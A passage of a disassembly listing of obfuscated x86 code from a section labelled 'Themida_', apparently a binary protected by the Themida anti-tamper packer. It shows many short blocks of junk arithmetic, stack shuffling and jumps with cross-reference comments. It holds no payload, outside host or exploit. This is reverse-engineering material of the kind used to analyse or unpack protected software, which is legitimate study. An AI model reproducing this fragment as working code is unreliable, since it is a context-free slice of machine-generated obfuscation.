		inc	edx
		and	edx, 5AAC3C52h
		jmp	loc_5A4F98
; ---------------------------------------------------------------------------


loc_59B9CD:				; CODE XREF: Themida_:005ABFE0j
		mov	[esp], ebx
		mov	ebx, 56BA5D5Ch
		xor	edx, ebx
		pop	ebx
		jmp	loc_59CC4E
; ---------------------------------------------------------------------------


loc_59B9DD:				; CODE XREF: Themida_:005A0B43j
		pop	esi
		mov	ebx, [esp]
		jmp	loc_59C60B
; ---------------------------------------------------------------------------


loc_59B9E6:				; CODE XREF: Themida_:005A33AAj
		mov	esi, 35EA016Bh
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59D970
; ---------------------------------------------------------------------------


loc_59BA05:				; CODE XREF: Themida_:005A4E1Cj
		push	ebx
		mov	ebx, 79F81F44h
		jmp	loc_59C9E2
; ---------------------------------------------------------------------------


loc_59BA10:				; CODE XREF: Themida_:005A73A0j
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AC106
; ---------------------------------------------------------------------------


loc_59BA1F:				; CODE XREF: Themida_:0059EA71j
		pop	eax
		add	ebp, edi
		jmp	loc_59B2A8
; ---------------------------------------------------------------------------


loc_59BA27:				; CODE XREF: Themida_:0059B397j
		push	edx
		jmp	loc_5A538C
; ---------------------------------------------------------------------------


loc_59BA2D:				; CODE XREF: Themida_:005A9520j
		jmp	loc_59BE6A
; ---------------------------------------------------------------------------


loc_59BA32:				; CODE XREF: Themida_:0059EE34j
		add	esi, 32D12A09h
		add	esi, 70DF078Ch
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59E7EF
; ---------------------------------------------------------------------------


loc_59BA50:				; CODE XREF: Themida_:0059A7D6j
		xor	ecx, 6CA9213Fh
		sub	esi, ecx
		pop	ecx
		add	esi, 6F4F4F2Ah
		push	11E1h
		mov	[esp], ebp
		mov	ebp, 1CF23BE8h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_59E611
; ---------------------------------------------------------------------------


loc_59BA76:				; CODE XREF: Themida_:loc_5AE370j
		sub	bh, 3Ch
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		jmp	loc_5A6595
; ---------------------------------------------------------------------------


loc_59BA84:				; CODE XREF: Themida_:005AB4F0j
		mov	edx, 0C7A5320h
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7D4FD23Dh
		jmp	loc_5A82A1
; ---------------------------------------------------------------------------


loc_59BA9C:				; CODE XREF: Themida_:005AE96Cj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5AB6B3
; ---------------------------------------------------------------------------


loc_59BAB7:				; CODE XREF: Themida_:005A5C72j
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 4ABB52C8h
		jmp	loc_5A09BA
; ---------------------------------------------------------------------------


loc_59BACC:				; CODE XREF: Themida_:005A4679j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A3F1D
; ---------------------------------------------------------------------------


loc_59BAD7:				; CODE XREF: Themida_:0059A6E9j
					; Themida_:loc_5A3E4Cj	...
		mov	esp, [esp]
		push	14A4h
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_599776
; ---------------------------------------------------------------------------


loc_59BAF9:				; CODE XREF: Themida_:loc_5AA5CAj
		sub	eax, 8F87E65Bh
		mov	ebp, eax
		pop	eax
		push	ebx
		push	eax
		jmp	loc_5A77F8
; ---------------------------------------------------------------------------


loc_59BB08:				; CODE XREF: Themida_:0059DD48j
		push	dword ptr [esp]
		jmp	loc_59A437
; ---------------------------------------------------------------------------


loc_59BB10:				; CODE XREF: Themida_:005A75BCj
		sub	dword ptr [esp], 413D074Eh
		sub	[esp], esi
		jmp	loc_5A5790
; ---------------------------------------------------------------------------


loc_59BB1F:				; CODE XREF: Themida_:005AC112j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AABF3
; ---------------------------------------------------------------------------


loc_59BB42:				; CODE XREF: Themida_:005A7101j
		and	edx, 213370EAh
		jnp	loc_5AC327
		xor	edx, 50F478D0h
		jge	loc_5A4E69
		jmp	loc_599954
; ---------------------------------------------------------------------------
		push	esi
		push	edx
		xor	bl, 0DFh
		push	edx


loc_59BB65:				; CODE XREF: Themida_:005AEACBj
		pop	ebp
		sub	ebp, 600424D3h
		jmp	loc_5AAD22
; ---------------------------------------------------------------------------


loc_59BB71:				; CODE XREF: Themida_:005A9D3Fj
		add	esp, 4
		or	ebp, 5D9E50C8h
		jmp	loc_59DFBB
; ---------------------------------------------------------------------------


loc_59BB7F:				; CODE XREF: Themida_:loc_5AA2FDj
		shl	edi, 5
		jns	loc_59F050
		add	edi, 78A76C24h
		push	edi
		pop	ebp
		pop	edi
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		jmp	loc_5A5D48
; ---------------------------------------------------------------------------


loc_59BB9C:				; CODE XREF: Themida_:005A0C18j
		xchg	ebx, [esp]
		jmp	loc_59995F
; ---------------------------------------------------------------------------


loc_59BBA4:				; CODE XREF: Themida_:005A152Fj
		xor	al, 89h
		jnp	loc_59876E
		push	5DB3h
		mov	[esp], edx
		mov	dh, 0CEh


loc_59BBB6:				; CODE XREF: Themida_:0059A432j
		xchg	ebp, esi
		jmp	loc_59DA50
; ---------------------------------------------------------------------------


loc_59BBBD:				; CODE XREF: Themida_:0059A030j
		pop	eax
		jmp	loc_59A3CB
; ---------------------------------------------------------------------------


loc_59BBC3:				; CODE XREF: Themida_:005A648Ej
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59C997
; ---------------------------------------------------------------------------


loc_59BBCD:				; CODE XREF: Themida_:005A778Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59BBD2:				; CODE XREF: Themida_:00599C27j
		add	ebx, 2
		jmp	loc_5AA8FF
; ---------------------------------------------------------------------------


loc_59BBDD:				; CODE XREF: Themida_:005A3319j
		sub	ebp, edx
		pop	edx
		jmp	loc_5A8BDF
; ---------------------------------------------------------------------------


loc_59BBE5:				; CODE XREF: Themida_:005A9422j
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 46811CD3h
		xor	ebp, 710E305Ah
		or	ebp, 688C789Dh
		jmp	loc_5A0FB8
; ---------------------------------------------------------------------------


loc_59BC13:				; CODE XREF: Themida_:005A7A86j
		mov	ebp, 0C69BE685h
		sub	ebx, ebp
		pop	ebp
		mov	esi, ebx
		pop	ebx
		dec	esi
		xor	esi, 63433E7Eh
		jmp	loc_5A4B2F
; ---------------------------------------------------------------------------


loc_59BC2A:				; CODE XREF: Themida_:0059A8A7j
					; Themida_:005AC6E0j
		pop	esi
		jmp	loc_5AAF88
; ---------------------------------------------------------------------------


loc_59BC30:				; CODE XREF: Themida_:00598B3Dj
		pop	eax
		xor	edx, [esp]
		jmp	loc_5A5277
; ---------------------------------------------------------------------------


loc_59BC39:				; CODE XREF: Themida_:005A6A0Dj
		pop	ecx
		jmp	loc_5A1E48
; ---------------------------------------------------------------------------


loc_59BC3F:				; CODE XREF: Themida_:005A1E43j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5A3A73
; ---------------------------------------------------------------------------


loc_59BC4B:				; CODE XREF: Themida_:005AEDA4j
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A00BA
; ---------------------------------------------------------------------------


loc_59BC53:				; CODE XREF: Themida_:0059EDCEj
		xor	bl, 19h
		jmp	loc_5A2B5A
; ---------------------------------------------------------------------------


loc_59BC5B:				; CODE XREF: Themida_:005A568Dj
		sub	ebx, ecx
		push	eax
		mov	eax, 2A7E6F90h
		jmp	loc_5A14C1
; ---------------------------------------------------------------------------


loc_59BC68:				; CODE XREF: Themida_:0059C466j
		sub	ecx, edx
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5AC816
; ---------------------------------------------------------------------------


loc_59BC78:				; CODE XREF: Themida_:005A8553j
		mov	cx, [esp]
		jmp	loc_5A66FD
; ---------------------------------------------------------------------------


loc_59BC81:				; CODE XREF: Themida_:005A9668j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5ADDCC
; ---------------------------------------------------------------------------


loc_59BCA8:				; CODE XREF: Themida_:005AA7F4j
		pop	ebp
		add	esi, 1
		add	esi, 0FC85533Dh
		or	ebx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_599A70
; ---------------------------------------------------------------------------


loc_59BCBD:				; CODE XREF: Themida_:005A99EAj
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10EE1A8Eh
		jmp	loc_5A57D0
; ---------------------------------------------------------------------------


loc_59BCCE:				; CODE XREF: Themida_:005ADF14j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	eax
		jmp	loc_5AAA9F
; ---------------------------------------------------------------------------


loc_59BCE1:				; CODE XREF: Themida_:0059FF49j
		add	esi, 4
		push	0F65h
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_59B69B
; ---------------------------------------------------------------------------


loc_59BCFB:				; CODE XREF: Themida_:005ACFF8j
		mov	[esp], ebx
		jmp	loc_5A5E76
; ---------------------------------------------------------------------------


loc_59BD03:				; CODE XREF: Themida_:005AB2C2j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	ebp, 5D683B67h
		add	ebp, esi
		sub	ebp, 5D683B67h
		pop	esi
		jmp	loc_5ACE70
; ---------------------------------------------------------------------------


loc_59BD1C:				; CODE XREF: Themida_:005AA448j
		mov	ebp, 40A11D27h
		add	ebp, 4A444ECFh
		dec	ebp
		add	ebp, 29984DCEh
		sub	esi, 1A85B64h
		jmp	loc_5A6AAC
; ---------------------------------------------------------------------------


loc_59BD39:				; CODE XREF: Themida_:005A71F5j
		sub	ecx, ebp
		sub	ecx, 7A723ED9h
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59BD60:				; CODE XREF: Themida_:00599F24j
		pop	ecx
		add	al, 9
		push	ebx
		mov	bh, 0FAh
		push	ecx
		mov	cl, dh
		mov	dh, bh
		mov	bh, cl
		pop	ecx
		jmp	loc_5A89DB
; ---------------------------------------------------------------------------


loc_59BD73:				; CODE XREF: Themida_:00598BF1j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A7171
; ---------------------------------------------------------------------------


loc_59BD83:				; CODE XREF: Themida_:0059D3F0j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5A4BF8
		push	1BF0h
		mov	[esp], esi
		push	74B67E40h
		jmp	loc_5AA195
; ---------------------------------------------------------------------------


loc_59BD9F:				; CODE XREF: Themida_:005A20E6j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59B9B0
; ---------------------------------------------------------------------------
		dd 83242489h, 8F042404h, 38E92404h
; ---------------------------------------------------------------------------
		push	es
		add	[eax], eax


loc_59BDB7:				; CODE XREF: Themida_:005A2DA3j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 41D81718h
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		inc	edi
		add	edi, 4A35448Ch
		sub	edi, 1
		not	edi
		push	3155h
		mov	[esp], ecx
		mov	ecx, 0C02BE50Bh
		xor	edi, ecx
		jmp	loc_5A0D64
; ---------------------------------------------------------------------------


loc_59BDFF:				; CODE XREF: Themida_:0059AEFAj
		add	esp, 4
		shl	esi, 2
		jmp	loc_5A228B
; ---------------------------------------------------------------------------


loc_59BE0D:				; CODE XREF: Themida_:005A5F8Cj
		add	edx, 0FFFFFFFFh
		xor	edx, 0BDF0A64Ah
		sub	esi, 390D4B80h
		add	esi, edx
		push	edi
		jmp	loc_5A2B11
; ---------------------------------------------------------------------------


loc_59BE24:				; CODE XREF: Themida_:loc_5AD718j
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_5AC945
; ---------------------------------------------------------------------------


loc_59BE30:				; CODE XREF: Themida_:005AC9BFj
		shl	eax, 3
		jmp	loc_5A6D1E
; ---------------------------------------------------------------------------


loc_59BE38:				; CODE XREF: Themida_:0059EC2Dj
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, 6EBD30B8h
		mov	edi, esi
		pop	esi
		add	edi, 25CB6153h
		jmp	loc_5AC0C9
; ---------------------------------------------------------------------------


loc_59BE4F:				; CODE XREF: Themida_:loc_5A252Aj
		xor	edx, 5DF51856h
		shr	edx, 5
		jmp	loc_5A399C
; ---------------------------------------------------------------------------


loc_59BE5D:				; CODE XREF: Themida_:0059B5B7j
		push	6D8Bh
		mov	[esp], ebx
		jmp	loc_59E38F
; ---------------------------------------------------------------------------


loc_59BE6A:				; CODE XREF: Themida_:loc_59BA2Dj
		neg	ecx
		add	ecx, 0F4B82E1Bh
		push	ecx
		pop	eax
		jmp	loc_5A2931
; ---------------------------------------------------------------------------


loc_59BE79:				; CODE XREF: Themida_:005A1638j
		add	ecx, 74A14380h
		sub	ecx, edi
		sub	ecx, 74A14380h
		jmp	loc_5A898B
; ---------------------------------------------------------------------------


loc_59BE8C:				; CODE XREF: Themida_:005991E8j
		xor	esi, 7BA57C72h
		jmp	loc_5A6D0C
; ---------------------------------------------------------------------------


loc_59BE97:				; CODE XREF: Themida_:loc_5A2007j
		shl	edi, 6
		jmp	loc_598D80
; ---------------------------------------------------------------------------


loc_59BE9F:				; CODE XREF: Themida_:0059D9EEj
					; Themida_:005A661Ej
		mov	ch, al
		jmp	loc_5A02FC
; ---------------------------------------------------------------------------


loc_59BEA6:				; CODE XREF: Themida_:005A13D7j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	1BC704C2h
		jmp	loc_59D15C
; ---------------------------------------------------------------------------


loc_59BEB9:				; CODE XREF: Themida_:005A8A8Bj
		and	ebx, 40E45242h
		xor	ebx, 22DB01FEh
		add	edx, ebx
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------


loc_59BECC:				; CODE XREF: Themida_:0059ECEFj
		sub	eax, 3C024B7Dh
		push	ebp
		mov	ebp, 77BA6F41h
		add	eax, ebp
		jmp	loc_59B8A0
; ---------------------------------------------------------------------------


loc_59BEDE:				; CODE XREF: Themida_:0059B7F6j
		sub	al, 0CEh
		push	10CCh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], dx
		push	bx
		mov	bl, 52h
		add	bl, 0D8h
		sub	bl, 0B0h
		jmp	loc_5AD8EE
; ---------------------------------------------------------------------------


loc_59BF0D:				; CODE XREF: Themida_:005A88F7j
		add	ebx, 70FFFAEDh
		mov	eax, ebx
		pop	ebx
		jmp	loc_59E694
; ---------------------------------------------------------------------------


loc_59BF1B:				; CODE XREF: Themida_:0059B601j
		push	eax
		mov	eax, 47AD59F1h
		sub	eax, 550A1BC7h
		jmp	loc_59EA61
; ---------------------------------------------------------------------------


loc_59BF2B:				; CODE XREF: Themida_:005A23A9j
		inc	ebp
		push	edx
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------


loc_59BF32:				; CODE XREF: Themida_:00598D13j
		push	eax
		jmp	loc_5A3835
; ---------------------------------------------------------------------------


loc_59BF38:				; CODE XREF: Themida_:005A3FC0j
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		push	2526h
		mov	[esp], edx
		jmp	loc_5AAD5A
; ---------------------------------------------------------------------------


loc_59BF4D:				; CODE XREF: Themida_:005A7ADAj
					; Themida_:005A8C57j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 3A88432Eh
		not	ebp
		xor	ebp, 44B011B5h
		xor	ebp, 0F83F8E86h
		jmp	loc_5A439C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	63F2h
		jmp	loc_5ABB09
; ---------------------------------------------------------------------------


loc_59BF77:				; CODE XREF: Themida_:005A43FCj
		pop	edx
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A726A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0FEAh
		jmp	loc_5A9CE3
; ---------------------------------------------------------------------------


loc_59BF96:				; CODE XREF: Themida_:005AA56Fj
		sub	esi, 506E9C70h
		xor	edx, esi
		jmp	loc_5ACC6F
; ---------------------------------------------------------------------------


loc_59BFA3:				; CODE XREF: Themida_:005AE71Cj
		sub	ebx, 30101C64h
		jmp	loc_5ACCB9
; ---------------------------------------------------------------------------


loc_59BFAE:				; CODE XREF: Themida_:0059845Dj
		sub	esp, 4
		jmp	loc_5A9AE3
; ---------------------------------------------------------------------------


loc_59BFB6:				; CODE XREF: Themida_:0059992Fj
		and	ebx, 53D7629h
		xor	ebx, 63F22948h
		ja	loc_5A1EFF
		add	ebx, 504C0EB8h
		mov	bh, dh
		sub	al, 1Bh


loc_59BFD2:				; CODE XREF: Themida_:005A34ABj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A8C3F
; ---------------------------------------------------------------------------


loc_59BFDC:				; CODE XREF: Themida_:005A8207j
		pop	ebx
		jmp	loc_5AA0DC
; ---------------------------------------------------------------------------


loc_59BFE2:				; CODE XREF: Themida_:005A9C13j
		and	edx, 2EA45897h
		jb	loc_5A6AE4
		shr	edx, 8
		jp	loc_5A0391
		push	ecx
		mov	ecx, 66F601Ah
		inc	ecx
		not	ecx
		sub	ecx, 0E8BA274Eh
		xor	edx, ecx
		pop	ecx
		dec	edx
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		jmp	loc_5A4C1C
; ---------------------------------------------------------------------------


loc_59C017:				; CODE XREF: Themida_:005A1A7Dj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A455E
; ---------------------------------------------------------------------------


loc_59C02F:				; CODE XREF: Themida_:0059DF92j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59D79D
; ---------------------------------------------------------------------------


loc_59C03D:				; CODE XREF: Themida_:00598FF3j
		dec	ebx
		jno	loc_59DCA4
		add	ebx, 3CAFF774h
		mov	esi, ebx
		pop	ebx
		mov	ch, 55h
		push	esi


loc_59C050:				; CODE XREF: Themida_:005AB07Ej
		add	esp, 4
		push	edx
		mov	edx, 79F823E2h
		sub	eax, 96D02E4h
		add	eax, edx
		add	eax, 96D02E4h
		mov	edx, [esp]
		add	esp, 4
		push	62EDh
		jmp	loc_59E517
; ---------------------------------------------------------------------------


loc_59C07B:				; CODE XREF: Themida_:0059A5FDj
		sub	esi, ebx
		jmp	loc_5A3C19
; ---------------------------------------------------------------------------


loc_59C082:				; CODE XREF: Themida_:005AE2B4j
		push	eax
		push	ecx
		mov	ecx, 1D330A26h
		mov	eax, 5CC35310h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5A3958
; ---------------------------------------------------------------------------


loc_59C096:				; CODE XREF: Themida_:005AB2E9j
		mov	ebx, 20BC0565h
		shr	ebx, 2
		push	edx
		mov	edx, 65855815h
		dec	edx
		add	edx, 27925012h
		not	edx
		add	edx, 0A2AEC5AEh
		add	ebx, edx
		pop	edx
		jmp	loc_5AC60B
; ---------------------------------------------------------------------------


loc_59C0BB:				; CODE XREF: Themida_:0059A480j
					; Themida_:005AD933j
		add	ebp, 1C40B24h
		xor	ebp, 0B931F36h
		xor	ebp, 0B1CE7D06h
		mov	edi, ebp
		pop	ebp
		sub	edi, 2021FDEAh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_598682
; ---------------------------------------------------------------------------


loc_59C0E4:				; CODE XREF: Themida_:005A0BADj
		push	4F65h
		jmp	loc_5A38CC
; ---------------------------------------------------------------------------


loc_59C0EE:				; CODE XREF: Themida_:005A33F9j
		mov	[esp], ebx
		jmp	loc_5AC247
; ---------------------------------------------------------------------------


loc_59C0F6:				; CODE XREF: Themida_:005A35F0j
		add	ebx, 4B0436E3h
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A9BB5
; ---------------------------------------------------------------------------


loc_59C110:				; CODE XREF: Themida_:loc_5A4856j
		push	esi
		push	1A63h
		mov	[esp], eax
		jmp	loc_5A760F
; ---------------------------------------------------------------------------


loc_59C11E:				; CODE XREF: Themida_:0059A8FDj
		mov	esi, [esp]
		jmp	loc_5A62D2
; ---------------------------------------------------------------------------


loc_59C126:				; CODE XREF: Themida_:005986D1j
		mov	[esp], edx
		mov	edx, 168B97B0h
		jmp	loc_5ADCCD
; ---------------------------------------------------------------------------


loc_59C133:				; CODE XREF: Themida_:0059CAE3j
					; Themida_:005A9D4Aj
		jb	loc_5A672E
		xor	ebx, 187B5BD3h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59AB70
; ---------------------------------------------------------------------------


loc_59C147:				; CODE XREF: Themida_:005AA5C5j
		neg	ebp
		push	esi
		mov	esi, 2EC63049h
		or	esi, 1DEF3BCFh
		xor	esi, 74034F1Fh
		add	ebp, esi
		pop	esi
		jmp	loc_5A4413
; ---------------------------------------------------------------------------


loc_59C163:				; CODE XREF: Themida_:0059DC05j
		shl	edi, 1
		not	edi
		push	ebp
		mov	ebp, 178CB79h
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5A61E6
; ---------------------------------------------------------------------------


loc_59C177:				; CODE XREF: Themida_:005AD628j
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_5A9B83
; ---------------------------------------------------------------------------


loc_59C181:				; CODE XREF: Themida_:0059F6BBj
		not	edi
		push	ecx
		jmp	loc_5993DA
; ---------------------------------------------------------------------------


loc_59C189:				; CODE XREF: Themida_:005A87F0j
		push	edi
		push	ebx
		mov	ebx, 528F3F39h
		mov	edi, ebx
		pop	ebx
		mov	ecx, 0E1D06FCh
		xor	ecx, edi
		pop	edi
		jmp	loc_59A7DB
; ---------------------------------------------------------------------------


loc_59C1A0:				; CODE XREF: Themida_:loc_5A5921j
		jmp	loc_59857E
; ---------------------------------------------------------------------------


loc_59C1A5:				; CODE XREF: Themida_:00598F96j
		mov	ecx, 18BD0135h
		shl	ecx, 3
		jmp	loc_5A6245
; ---------------------------------------------------------------------------


loc_59C1B2:				; CODE XREF: Themida_:0059ED99j
		mov	eax, esp
		push	1A43h
		jmp	loc_5A35D7
; ---------------------------------------------------------------------------


loc_59C1BE:				; CODE XREF: Themida_:00599461j
		pop	edi
		sub	ecx, 4
		jmp	near ptr loc_598CB8+2
; ---------------------------------------------------------------------------


loc_59C1C7:				; CODE XREF: Themida_:005A76F6j
		mov	edi, [esp]
		add	esp, 4
		add	eax, 720F01D5h
		push	5B65h
		jmp	loc_5A3BE7
; ---------------------------------------------------------------------------


loc_59C1DF:				; CODE XREF: Themida_:00598B8Dj
		push	7D146945h
		jmp	loc_59A155
; ---------------------------------------------------------------------------


loc_59C1E9:				; CODE XREF: Themida_:0059B1C2j
		push	0
		sub	[esp], edx
		jmp	loc_5A09A1
; ---------------------------------------------------------------------------


loc_59C1F6:				; CODE XREF: Themida_:005A7570j
		add	ebp, 94E1459h
		push	ebp
		push	esi
		pop	ebp
		pop	esi
		neg	esi
		xchg	esi, ebp
		shl	ebp, 7
		push	4652h
		mov	[esp], esi
		mov	esi, 14EF62EEh
		jmp	loc_5AD900
; ---------------------------------------------------------------------------


loc_59C219:				; CODE XREF: Themida_:005A38C7j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_5A5B74
		push	dword ptr [edi+1Ch]
		jmp	loc_5A4E8A
; ---------------------------------------------------------------------------


loc_59C233:				; CODE XREF: Themida_:0059FCE5j
					; Themida_:005ABBF8j
		sub	eax, edx
		pop	edx
		sub	eax, 60503D8Ah
		jmp	loc_5A708D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5354h
		mov	[esp], ebx
		push	62CDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	3C5Ch
		mov	[esp], eax
		push	307F2138h
		mov	eax, [esp]
		add	esp, 4
		shr	eax, 6
		push	esi
		mov	esi, 0C1FC80h
		xor	eax, esi
		jmp	loc_5AAE61
; ---------------------------------------------------------------------------


loc_59C27F:				; CODE XREF: Themida_:005A8CE0j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21747A9Fh
		jmp	loc_598FB7
; ---------------------------------------------------------------------------


loc_59C28F:				; CODE XREF: Themida_:0059A068j
		sub	esp, 4
		jmp	loc_5ABE71
; ---------------------------------------------------------------------------


loc_59C29A:				; CODE XREF: Themida_:005A517Aj
		mov	[esp], eax
		push	ebx
		mov	ebx, 5D2462CFh
		mov	eax, 5D2462CBh
		jmp	loc_59AAB7
; ---------------------------------------------------------------------------


loc_59C2AD:				; CODE XREF: Themida_:005ADA6Aj
		sub	bl, cl
		add	bl, 41h
		mov	ecx, [esp]
		jmp	loc_5AABA0
; ---------------------------------------------------------------------------


loc_59C2BA:				; CODE XREF: Themida_:005A018Aj
		mov	eax, 619C0540h
		sub	eax, ebp
		pop	ebp
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 417B38E3h
		sub	ebx, 0D0B3F01Eh
		push	ebx
		pop	eax
		pop	ebx
		xor	edi, eax
		pop	eax
		add	esi, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4092
; ---------------------------------------------------------------------------


loc_59C30E:				; CODE XREF: Themida_:0059DB1Dj
		shr	eax, 7
		xor	eax, 10CF4667h
		xor	eax, 6BE761Dh
		and	eax, 246B2551h
		inc	eax
		xor	eax, 5BBB3452h
		jmp	loc_5AC03A
; ---------------------------------------------------------------------------


loc_59C32B:				; CODE XREF: Themida_:005A85C7j
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		push	edi
		mov	edi, 25DF6B6Ch
		neg	edi
		jno	loc_5AA94E
		xor	edi, 45810BF3h
		mov	al, 59h
		push	edi


loc_59C34C:				; CODE XREF: Themida_:0059AA33j
		mov	ah, 6Fh
		jmp	loc_59DD88
; ---------------------------------------------------------------------------


loc_59C353:				; CODE XREF: Themida_:005A5128j
		push	eax
		mov	eax, 69103A94h
		xor	eax, 3CE4733Bh
		not	eax
		jmp	loc_59F124
; ---------------------------------------------------------------------------


loc_59C365:				; CODE XREF: Themida_:005A160Ej
		xchg	edi, [esp]
		pop	esp
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		jmp	loc_5A19EF
; ---------------------------------------------------------------------------


loc_59C374:				; CODE XREF: Themida_:005A5352j
		add	esp, 4
		jmp	loc_5AF32F
; ---------------------------------------------------------------------------


loc_59C37F:				; CODE XREF: Themida_:005AD9B8j
		add	eax, [edx]
		pop	edx
		mov	ecx, [esp]
		push	edx
		jmp	loc_5A1DE1
; ---------------------------------------------------------------------------


loc_59C38B:				; CODE XREF: Themida_:0059C6DFj
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_5A6677
; ---------------------------------------------------------------------------


loc_59C394:				; CODE XREF: Themida_:0059F140j
					; Themida_:005A3371j
		pop	ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	6D7Ah
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 24h
		push	edx
		mov	dl, cl
		mov	bh, dl
		jmp	loc_59ADA0
; ---------------------------------------------------------------------------


loc_59C3C3:				; CODE XREF: Themida_:005ABCC1j
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 4
		push	edx
		jmp	loc_5A91C3
; ---------------------------------------------------------------------------


loc_59C3D3:				; CODE XREF: Themida_:0059D346j
		xchg	edi, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_5AEA03
; ---------------------------------------------------------------------------


loc_59C3DF:				; CODE XREF: Themida_:loc_59ED71j
					; Themida_:005A2A03j
		push	eax
		push	edx
		push	611111CAh
		mov	edx, [esp]
		add	esp, 4
		or	edx, 5CEC3CBCh
		jmp	loc_59CA20
; ---------------------------------------------------------------------------


loc_59C3FA:				; CODE XREF: Themida_:0059A526j
		push	ebp
		push	ebx
		mov	ebx, 1E6372C5h
		mov	ebp, ebx
		pop	ebx
